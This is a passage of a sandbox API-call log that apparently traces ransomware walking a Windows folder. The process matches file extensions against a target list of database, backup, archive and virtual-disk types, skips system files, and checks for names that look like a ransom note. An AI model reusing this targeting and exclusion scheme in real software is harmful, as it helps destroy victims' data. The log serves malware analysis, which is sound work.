	[0060.923] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0060.923] lstrlenW (lpString="cat") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0060.923] lstrlenW (lpString="cdb") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0060.923] lstrlenW (lpString="ckp") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0060.923] lstrlenW (lpString="cma") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0060.923] lstrlenW (lpString="cpd") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0060.923] lstrlenW (lpString="dacpac") returned 6
	[0060.923] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0060.923] lstrlenW (lpString="dad") returned 3
	[0060.923] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0060.923] lstrlenW (lpString="dadiagrams") returned 10
	[0060.923] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0060.923] lstrlenW (lpString="daschema") returned 8
	[0060.923] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0060.923] lstrlenW (lpString="db-journal") returned 10
	[0060.923] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0060.923] lstrlenW (lpString="db-shm") returned 6
	[0060.923] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0060.923] lstrlenW (lpString="db-wal") returned 6
	[0060.923] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0060.924] lstrlenW (lpString="dbc") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0060.924] lstrlenW (lpString="dbs") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0060.924] lstrlenW (lpString="dbt") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0060.924] lstrlenW (lpString="dbv") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0060.924] lstrlenW (lpString="dbx") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0060.924] lstrlenW (lpString="dcb") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0060.924] lstrlenW (lpString="dct") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0060.924] lstrlenW (lpString="dcx") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0060.924] lstrlenW (lpString="ddl") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0060.924] lstrlenW (lpString="dlis") returned 4
	[0060.924] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0060.924] lstrlenW (lpString="dp1") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0060.924] lstrlenW (lpString="dqy") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0060.924] lstrlenW (lpString="dsk") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0060.924] lstrlenW (lpString="dsn") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0060.924] lstrlenW (lpString="dtsx") returned 4
	[0060.924] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0060.924] lstrlenW (lpString="dxl") returned 3
	[0060.924] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0060.924] lstrlenW (lpString="eco") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0060.925] lstrlenW (lpString="ecx") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0060.925] lstrlenW (lpString="edb") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0060.925] lstrlenW (lpString="epim") returned 4
	[0060.925] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0060.925] lstrlenW (lpString="fcd") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0060.925] lstrlenW (lpString="fdb") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0060.925] lstrlenW (lpString="fic") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0060.925] lstrlenW (lpString="flexolibrary") returned 12
	[0060.925] lstrcmpiW (lpString1="ettings.html", lpString2="flexolibrary") returned -1
	[0060.925] lstrlenW (lpString="fm5") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0060.925] lstrlenW (lpString="fmp") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0060.925] lstrlenW (lpString="fmp12") returned 5
	[0060.925] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0060.925] lstrlenW (lpString="fmpsl") returned 5
	[0060.925] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0060.925] lstrlenW (lpString="fol") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0060.925] lstrlenW (lpString="fp3") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0060.925] lstrlenW (lpString="fp4") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0060.925] lstrlenW (lpString="fp5") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0060.925] lstrlenW (lpString="fp7") returned 3
	[0060.925] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0060.925] lstrlenW (lpString="fpt") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0060.926] lstrlenW (lpString="frm") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0060.926] lstrlenW (lpString="gdb") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0060.926] lstrlenW (lpString="gdb") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0060.926] lstrlenW (lpString="grdb") returned 4
	[0060.926] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0060.926] lstrlenW (lpString="gwi") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0060.926] lstrlenW (lpString="hdb") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0060.926] lstrlenW (lpString="his") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0060.926] lstrlenW (lpString="ib") returned 2
	[0060.926] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0060.926] lstrlenW (lpString="idb") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0060.926] lstrlenW (lpString="ihx") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0060.926] lstrlenW (lpString="itdb") returned 4
	[0060.926] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0060.926] lstrlenW (lpString="itw") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0060.926] lstrlenW (lpString="jet") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0060.926] lstrlenW (lpString="jtx") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0060.926] lstrlenW (lpString="kdb") returned 3
	[0060.926] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0060.926] lstrlenW (lpString="kexi") returned 4
	[0060.926] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0060.926] lstrlenW (lpString="kexic") returned 5
	[0060.927] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0060.927] lstrlenW (lpString="kexis") returned 5
	[0060.927] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0060.927] lstrlenW (lpString="lgc") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0060.927] lstrlenW (lpString="lwx") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0060.927] lstrlenW (lpString="maf") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0060.927] lstrlenW (lpString="maq") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0060.927] lstrlenW (lpString="mar") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0060.927] lstrlenW (lpString="marshal") returned 7
	[0060.927] lstrcmpiW (lpString1="gs.html", lpString2="marshal") returned -1
	[0060.927] lstrlenW (lpString="mas") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0060.927] lstrlenW (lpString="mav") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0060.927] lstrlenW (lpString="maw") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0060.927] lstrlenW (lpString="mdbhtml") returned 7
	[0060.927] lstrcmpiW (lpString1="gs.html", lpString2="mdbhtml") returned -1
	[0060.927] lstrlenW (lpString="mdn") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0060.927] lstrlenW (lpString="mdt") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0060.927] lstrlenW (lpString="mfd") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0060.927] lstrlenW (lpString="mpd") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0060.927] lstrlenW (lpString="mrg") returned 3
	[0060.927] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1
	[0060.928] lstrlenW (lpString="mud") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1
	[0060.928] lstrlenW (lpString="mwb") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1
	[0060.928] lstrlenW (lpString="myd") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1
	[0060.928] lstrlenW (lpString="ndf") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1
	[0060.928] lstrlenW (lpString="nnt") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1
	[0060.928] lstrlenW (lpString="nrmlib") returned 6
	[0060.928] lstrcmpiW (lpString1="s.html", lpString2="nrmlib") returned 1
	[0060.928] lstrlenW (lpString="ns2") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1
	[0060.928] lstrlenW (lpString="ns3") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1
	[0060.928] lstrlenW (lpString="ns4") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1
	[0060.928] lstrlenW (lpString="nsf") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1
	[0060.928] lstrlenW (lpString="nv") returned 2
	[0060.928] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1
	[0060.928] lstrlenW (lpString="nv2") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1
	[0060.928] lstrlenW (lpString="nwdb") returned 4
	[0060.928] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1
	[0060.928] lstrlenW (lpString="nyf") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1
	[0060.928] lstrlenW (lpString="odb") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0060.928] lstrlenW (lpString="odb") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1
	[0060.928] lstrlenW (lpString="oqy") returned 3
	[0060.928] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1
	[0060.929] lstrlenW (lpString="ora") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0060.929] lstrlenW (lpString="orx") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0060.929] lstrlenW (lpString="owc") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0060.929] lstrlenW (lpString="p96") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0060.929] lstrlenW (lpString="p97") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0060.929] lstrlenW (lpString="pan") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0060.929] lstrlenW (lpString="pdb") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0060.929] lstrlenW (lpString="pdm") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0060.929] lstrlenW (lpString="pnz") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0060.929] lstrlenW (lpString="qry") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0060.929] lstrlenW (lpString="qvd") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0060.929] lstrlenW (lpString="rbf") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0060.929] lstrlenW (lpString="rctd") returned 4
	[0060.929] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0060.929] lstrlenW (lpString="rod") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0060.929] lstrlenW (lpString="rodx") returned 4
	[0060.929] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0060.929] lstrlenW (lpString="rpd") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0060.929] lstrlenW (lpString="rsd") returned 3
	[0060.929] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0060.930] lstrlenW (lpString="sas7bdat") returned 8
	[0060.930] lstrcmpiW (lpString1="ngs.html", lpString2="sas7bdat") returned -1
	[0060.930] lstrlenW (lpString="sbf") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0060.930] lstrlenW (lpString="scx") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0060.930] lstrlenW (lpString="sdb") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0060.930] lstrlenW (lpString="sdc") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0060.930] lstrlenW (lpString="sdf") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0060.930] lstrlenW (lpString="sis") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0060.930] lstrlenW (lpString="spq") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0060.930] lstrlenW (lpString="te") returned 2
	[0060.930] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0060.930] lstrlenW (lpString="teacher") returned 7
	[0060.930] lstrcmpiW (lpString1="gs.html", lpString2="teacher") returned -1
	[0060.930] lstrlenW (lpString="tmd") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0060.930] lstrlenW (lpString="tps") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0060.930] lstrlenW (lpString="trc") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0060.930] lstrlenW (lpString="trc") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0060.930] lstrlenW (lpString="trm") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0060.930] lstrlenW (lpString="udb") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0060.930] lstrlenW (lpString="udl") returned 3
	[0060.930] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0060.931] lstrlenW (lpString="usr") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0060.931] lstrlenW (lpString="v12") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0060.931] lstrlenW (lpString="vis") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0060.931] lstrlenW (lpString="vpd") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0060.931] lstrlenW (lpString="vvv") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0060.931] lstrlenW (lpString="wdb") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0060.931] lstrlenW (lpString="wmdb") returned 4
	[0060.931] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0060.931] lstrlenW (lpString="wrk") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0060.931] lstrlenW (lpString="xdb") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0060.931] lstrlenW (lpString="xld") returned 3
	[0060.931] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0060.931] lstrlenW (lpString="xmlff") returned 5
	[0060.931] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0060.931] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="Apollon865.txt.exe") returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2=".") returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="..") returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="windows") returned -1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="bootmgr") returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="temp") returned -1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="pagefile.sys") returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="boot") returned 1
	[0060.931] lstrcmpiW (lpString1="slideShow.html", lpString2="ids.txt") returned 1
	[0060.932] lstrcmpiW (lpString1="slideShow.html", lpString2="ntuser.dat") returned 1
	[0060.932] lstrcmpiW (lpString1="slideShow.html", lpString2="perflogs") returned 1
	[0060.932] lstrcmpiW (lpString1="slideShow.html", lpString2="MSBuild") returned 1
	[0060.932] lstrlenW (lpString="slideShow.html") returned 14
	[0060.932] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\settings.html") returned 77
	[0060.932] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="slideShow.html" | out: lpString1="slideShow.html") returned="slideShow.html"
	[0060.932] lstrlenW (lpString="slideShow.html") returned 14
	[0060.932] lstrlenW (lpString="Apollon865") returned 10
	[0060.932] lstrcmpiW (lpString1="eShow.html", lpString2="Apollon865") returned 1
	[0060.932] lstrlenW (lpString=".dll") returned 4
	[0060.932] lstrcmpiW (lpString1="slideShow.html", lpString2=".dll") returned 1
	[0060.932] lstrlenW (lpString=".lnk") returned 4
	[0060.932] lstrcmpiW (lpString1="slideShow.html", lpString2=".lnk") returned 1
	[0060.932] lstrlenW (lpString=".ini") returned 4
	[0060.932] lstrcmpiW (lpString1="slideShow.html", lpString2=".ini") returned 1
	[0060.932] lstrlenW (lpString=".sys") returned 4
	[0060.932] lstrcmpiW (lpString1="slideShow.html", lpString2=".sys") returned 1
	[0060.932] lstrlenW (lpString="slideShow.html") returned 14
	[0060.932] lstrlenW (lpString="bak") returned 3
	[0060.932] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0060.932] lstrlenW (lpString="ba_") returned 3
	[0060.932] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0060.932] lstrlenW (lpString="dbb") returned 3
	[0060.932] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0060.932] lstrlenW (lpString="vmdk") returned 4
	[0060.932] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0060.932] lstrlenW (lpString="rar") returned 3
	[0060.932] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0060.932] lstrlenW (lpString="zip") returned 3
	[0060.932] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0060.932] lstrlenW (lpString="tgz") returned 3
	[0060.932] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0060.932] lstrlenW (lpString="vbox") returned 4
	[0060.933] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0060.933] lstrlenW (lpString="vdi") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0060.933] lstrlenW (lpString="vhd") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0060.933] lstrlenW (lpString="vhdx") returned 4
	[0060.933] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0060.933] lstrlenW (lpString="avhd") returned 4
	[0060.933] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0060.933] lstrlenW (lpString="db") returned 2
	[0060.933] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0060.933] lstrlenW (lpString="db2") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0060.933] lstrlenW (lpString="db3") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0060.933] lstrlenW (lpString="dbf") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0060.933] lstrlenW (lpString="mdf") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0060.933] lstrlenW (lpString="mdb") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0060.933] lstrlenW (lpString="sql") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0060.933] lstrlenW (lpString="sqlite") returned 6
	[0060.933] lstrcmpiW (lpString1="w.html", lpString2="sqlite") returned 1
	[0060.933] lstrlenW (lpString="sqlite3") returned 7
	[0060.933] lstrcmpiW (lpString1="ow.html", lpString2="sqlite3") returned -1
	[0060.933] lstrlenW (lpString="sqlitedb") returned 8
	[0060.933] lstrcmpiW (lpString1="how.html", lpString2="sqlitedb") returned -1
	[0060.933] lstrlenW (lpString="xml") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0060.933] lstrlenW (lpString="$er") returned 3
	[0060.933] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0060.933] lstrlenW (lpString="4dd") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0060.934] lstrlenW (lpString="4dl") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0060.934] lstrlenW (lpString="^^^") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0060.934] lstrlenW (lpString="abs") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0060.934] lstrlenW (lpString="abx") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0060.934] lstrlenW (lpString="accdb") returned 5
	[0060.934] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0060.934] lstrlenW (lpString="accdc") returned 5
	[0060.934] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0060.934] lstrlenW (lpString="accde") returned 5
	[0060.934] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0060.934] lstrlenW (lpString="accdr") returned 5
	[0060.934] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0060.934] lstrlenW (lpString="accdt") returned 5
	[0060.934] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0060.934] lstrlenW (lpString="accdw") returned 5
	[0060.934] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0060.934] lstrlenW (lpString="accft") returned 5
	[0060.934] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0060.934] lstrlenW (lpString="adb") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.934] lstrlenW (lpString="adb") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.934] lstrlenW (lpString="ade") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0060.934] lstrlenW (lpString="adf") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0060.934] lstrlenW (lpString="adn") returned 3
	[0060.934] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0060.935] lstrlenW (lpString="adp") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0060.935] lstrlenW (lpString="alf") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0060.935] lstrlenW (lpString="ask") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0060.935] lstrlenW (lpString="btr") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0060.935] lstrlenW (lpString="cat") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0060.935] lstrlenW (lpString="cdb") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0060.935] lstrlenW (lpString="ckp") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0060.935] lstrlenW (lpString="cma") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0060.935] lstrlenW (lpString="cpd") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0060.935] lstrlenW (lpString="dacpac") returned 6
	[0060.935] lstrcmpiW (lpString1="w.html", lpString2="dacpac") returned 1
	[0060.935] lstrlenW (lpString="dad") returned 3
	[0060.935] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0060.935] lstrlenW (lpString="dadiagrams") returned 10
	[0060.935] lstrcmpiW (lpString1="eShow.html", lpString2="dadiagrams") returned 1
	[0060.935] lstrlenW (lpString="daschema") returned 8
	[0060.935] lstrcmpiW (lpString1="how.html", lpString2="daschema") returned 1
	[0060.935] lstrlenW (lpString="db-journal") returned 10
	[0060.935] lstrcmpiW (lpString1="eShow.html", lpString2="db-journal") returned 1
	[0060.935] lstrlenW (lpString="db-shm") returned 6
	[0060.935] lstrcmpiW (lpString1="w.html", lpString2="db-shm") returned 1
	[0060.935] lstrlenW (lpString="db-wal") returned 6
	[0060.935] lstrcmpiW (lpString1="w.html", lpString2="db-wal") returned 1
	[0060.935] lstrlenW (lpString="dbc") returned 3
	[0060.936] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0060.936] lstrlenW (lpString="dbs") returned 3
	[0060.936] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0060.936] lstrlenW (lpString="dbt") returned 3
	[0060.936] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0060.936] lstrlenW (lpString="dbv") returned 3
	[0060.936] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0060.936] lstrlenW (lpString="dbx") returned 3
	[0060.936] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0060.936] lstrlenW (lpString="dcb") returned 3
	[0060.936] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0060.936] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js"
	[0060.936] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
